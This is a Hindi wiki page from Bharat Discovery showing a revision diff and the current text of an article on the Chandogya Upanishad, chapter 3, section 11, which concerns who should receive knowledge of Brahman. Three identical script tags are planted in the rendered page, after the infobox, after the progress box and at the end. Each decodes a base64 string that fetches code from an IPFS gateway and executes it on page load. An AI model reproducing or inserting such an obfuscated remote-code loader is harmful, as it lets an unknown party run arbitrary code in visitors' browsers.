"छान्दोग्य उपनिषद अध्याय-3 खण्ड-11" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
 
पंक्ति 1: पंक्ति 1:
*[[छान्दोग्य उपनिषद]] के [[छान्दोग्य उपनिषद अध्याय-3|अध्याय तीसरा]] का यह ग्यारहवाँ खण्ड है।
+
{{सूचना बक्सा संक्षिप्त परिचय
{{main|छान्दोग्य उपनिषद}}
+
|चित्र=Chandogya-Upanishad.jpg
*ब्रह्मज्ञान किसे देना चाहिए?
+
|चित्र का नाम=छान्दोग्य उपनिषद का आवरण पृष्ठ
*इस खण्ड में ऋषि 'ब्रह्मज्ञान' को सुयोग्य शिष्य को ही प्रदान करने की बात कहते हैं।  
+
|विवरण='छान्दोग्य उपनिषद' प्राचीनतम दस [[उपनिषद|उपनिषदों]] में नवम एवं सबसे बृहदाकार है। नाम के अनुसार इस उपनिषद का आधार [[छन्द]] है।
*जो साधक 'ब्रह्मज्ञान' के निकट पहुंच चुका है अथवा उसमें आत्मसात हो चुका है, उसके लिए [[सूर्य]] या ब्रह्म न तो उदित होता है, न अस्त होता है।  
+
|शीर्षक 1=अध्याय
*वह तो सदा दिन के प्रकाश की भांति जगमगाता रहता है और साधक उसी में मगन रहता है।  
+
|पाठ 1=तीसरा
*किसी समय यह '[[ब्रह्मा]] जी ने [[प्रजापति]] से कहा था।  
+
|शीर्षक 2=कुल खण्ड
 +
|पाठ 2=19 (उन्नीस)
 +
|शीर्षक 3=सम्बंधित वेद
 +
|पाठ 3=[[सामवेद]]
 +
|शीर्षक 4=
 +
|पाठ 4=
 +
|शीर्षक 5=
 +
|पाठ 5=
 +
|शीर्षक 6=
 +
|पाठ 6=
 +
|शीर्षक 7=
 +
|पाठ 7=
 +
|शीर्षक 8=
 +
|पाठ 8=
 +
|शीर्षक 9=
 +
|पाठ 9=
 +
|शीर्षक 10=
 +
|पाठ 10=
 +
|संबंधित लेख=[[उपनिषद]], [[वेद]], [[वेदांग]], [[वैदिक काल]], [[संस्कृत साहित्य]]
 +
|अन्य जानकारी= [[सामवेद]] की तलवकार शाखा में छान्दोग्य उपनिषद को मान्यता प्राप्त है। इसमें दस अध्याय हैं। इसके अन्तिम आठ अध्याय ही छान्दोग्य उपनिषद में लिये गये हैं।
 +
|बाहरी कड़ियाँ=
 +
|अद्यतन=
 +
}}
 +
[[छान्दोग्य उपनिषद]] के [[छान्दोग्य उपनिषद अध्याय-3|अध्याय तीसरे]] का यह ग्यारहवाँ खण्ड है।
 +
 
 +
*इस खण्ड में यह बताया गया है कि ब्रह्मज्ञान किसे देना चाहिए?
 +
*इस खण्ड में [[ऋषि]] 'ब्रह्मज्ञान' को सुयोग्य शिष्य को ही प्रदान करने की बात कहते हैं।  
 +
*जो साधक 'ब्रह्मज्ञान' के निकट पहुंच चुका है अथवा उसमें आत्मसात हो चुका है, उसके लिए [[सूर्य]] या ब्रह्म न तो उदित होता है, न अस्त होता है। वह तो सदा दिन के [[प्रकाश]] की भांति जगमगाता रहता है और साधक उसी में मगन रहता है। किसी समय यह '[[ब्रह्मा]] जी ने [[प्रजापति]] से कहा था।  
 
*देव प्रजापति ने इसे [[स्वयंभुव मनु|मनु]] से कहा और मनु ने इसे प्रजा के लिए अभिव्यक्त किया।  
 
*देव प्रजापति ने इसे [[स्वयंभुव मनु|मनु]] से कहा और मनु ने इसे प्रजा के लिए अभिव्यक्त किया।  
*[[उद्दालक]] ऋषि को उनके पिता ने अपना ज्येष्ठ और सुयोग्य पुत्र होने के कारण यह ब्रह्मज्ञान दिया था।  
+
*[[उद्दालक|उद्दालक ऋषि]] को उनके [[पिता]] ने अपना ज्येष्ठ और सुयोग्य पुत्र होने के कारण यह ब्रह्मज्ञान दिया था। अत: इस ब्रह्मज्ञान का उपदेश अपने सुयोग्य ज्येष्ठ पुत्र अथवा शिष्य को ही देना चाहिए।
*अत: इस ब्रह्मज्ञान का उपदेश अपने सुयोग्य ज्येष्ठ पुत्र अथवा शिष्य को ही देना चाहिए।
 
  
{{लेख प्रगति|आधार=आधार1|प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}
+
 
{{संदर्भ ग्रंथ}}
+
{{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
 
==बाहरी कड़ियाँ==
 
 
 
==संबंधित लेख==
 
==संबंधित लेख==
 
{{छान्दोग्य उपनिषद}}
 
{{छान्दोग्य उपनिषद}}
[[Category:छान्दोग्य उपनिषद]]
+
[[Category:छान्दोग्य उपनिषद]][[Category:दर्शन कोश]][[Category:उपनिषद]][[Category:संस्कृत साहित्य]]
[[Category:दर्शन कोश]]
 
[[Category:उपनिषद]][[Category:संस्कृत साहित्य]]  
 
 
 
 
__INDEX__
 
__INDEX__

14:26, 16 अगस्त 2016 के समय का अवतरण

छान्दोग्य उपनिषद अध्याय-3 खण्ड-11
छान्दोग्य उपनिषद का आवरण पृष्ठ
विवरण 'छान्दोग्य उपनिषद' प्राचीनतम दस उपनिषदों में नवम एवं सबसे बृहदाकार है। नाम के अनुसार इस उपनिषद का आधार छन्द है।
अध्याय तीसरा
कुल खण्ड 19 (उन्नीस)
सम्बंधित वेद सामवेद
संबंधित लेख उपनिषद, वेद, वेदांग, वैदिक काल, संस्कृत साहित्य
अन्य जानकारी सामवेद की तलवकार शाखा में छान्दोग्य उपनिषद को मान्यता प्राप्त है। इसमें दस अध्याय हैं। इसके अन्तिम आठ अध्याय ही छान्दोग्य उपनिषद में लिये गये हैं।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

छान्दोग्य उपनिषद के अध्याय तीसरे का यह ग्यारहवाँ खण्ड है।

  • इस खण्ड में यह बताया गया है कि ब्रह्मज्ञान किसे देना चाहिए?
  • इस खण्ड में ऋषि 'ब्रह्मज्ञान' को सुयोग्य शिष्य को ही प्रदान करने की बात कहते हैं।
  • जो साधक 'ब्रह्मज्ञान' के निकट पहुंच चुका है अथवा उसमें आत्मसात हो चुका है, उसके लिए सूर्य या ब्रह्म न तो उदित होता है, न अस्त होता है। वह तो सदा दिन के प्रकाश की भांति जगमगाता रहता है और साधक उसी में मगन रहता है। किसी समय यह 'ब्रह्मा जी ने प्रजापति से कहा था।
  • देव प्रजापति ने इसे मनु से कहा और मनु ने इसे प्रजा के लिए अभिव्यक्त किया।
  • उद्दालक ऋषि को उनके पिता ने अपना ज्येष्ठ और सुयोग्य पुत्र होने के कारण यह ब्रह्मज्ञान दिया था। अत: इस ब्रह्मज्ञान का उपदेश अपने सुयोग्य ज्येष्ठ पुत्र अथवा शिष्य को ही देना चाहिए।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

छान्दोग्य उपनिषद अध्याय-1

खण्ड-1 | खण्ड-2 | खण्ड-3 | खण्ड-4 | खण्ड-5 | खण्ड-6 | खण्ड-7 | खण्ड-8 | खण्ड-9 | खण्ड-10 | खण्ड-11 | खण्ड-12 | खण्ड-13

छान्दोग्य उपनिषद अध्याय-2

खण्ड-1 | खण्ड-2 | खण्ड-3 | खण्ड-4 | खण्ड-5 | खण्ड-6 | खण्ड-7 | खण्ड-8 | खण्ड-9 | खण्ड-10 | खण्ड-11 | खण्ड-12 | खण्ड-13 | खण्ड-14 | खण्ड-15 | खण्ड-16 | खण्ड-17 | खण्ड-18 | खण्ड-19 | खण्ड-20 | खण्ड-21 | खण्ड-22 | खण्ड-23 | खण्ड-24

छान्दोग्य उपनिषद अध्याय-3

खण्ड-1 से 5 | खण्ड-6 से 10 | खण्ड-11 | खण्ड-12 | खण्ड-13 से 19

छान्दोग्य उपनिषद अध्याय-4

खण्ड-1 से 3 | खण्ड-4 से 9 | खण्ड-10 से 17

छान्दोग्य उपनिषद अध्याय-5

खण्ड-1 | खण्ड-2 | खण्ड-3 से 10 | खण्ड-11 से 24

छान्दोग्य उपनिषद अध्याय-6

खण्ड-1 से 2 | खण्ड-3 से 4 | खण्ड-5 से 6 | खण्ड-7 | खण्ड-8 | खण्ड-9 से 13 | खण्ड-14 से 16

छान्दोग्य उपनिषद अध्याय-7

खण्ड-1 से 15 | खण्ड-16 से 26

छान्दोग्य उपनिषद अध्याय-8

खण्ड-1 से 6 | खण्ड-7 से 15

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>